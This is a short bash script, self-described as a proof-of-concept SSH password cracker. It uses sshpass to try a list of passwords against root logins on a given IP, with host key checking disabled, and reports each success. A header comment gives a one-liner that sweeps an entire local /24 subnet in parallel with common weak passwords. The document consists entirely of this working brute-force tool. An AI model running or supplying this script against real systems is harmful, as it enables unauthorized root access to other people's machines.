hack-pc.sh

#!/bin/bash
#
# PoC ssh-password cracker based on sshpass pkg.
# Run it like: echo 192.168.1.{1..254} | tr ' ' '\n' | xargs -P$(nproc) -I{} bash -c "./hack-pc.sh {} 123123 123 12345678"
# 
#
IP="$1"
shift
PASSES="$@"

echo "Trying to hack $IP..." >&2

for pass in $PASSES;
do
    sshpass -p "$pass" ssh -n \
        -o ConnectTimeout=3 \
        -o StrictHostKeyChecking=no \
        -o "UserKnownHostsFile /dev/null" \
        root@$IP "exit 0"

    [[ $? -eq 0 ]] && echo -e "GOT IT: \e[1;32m$IP @ $pass\e[0m"
done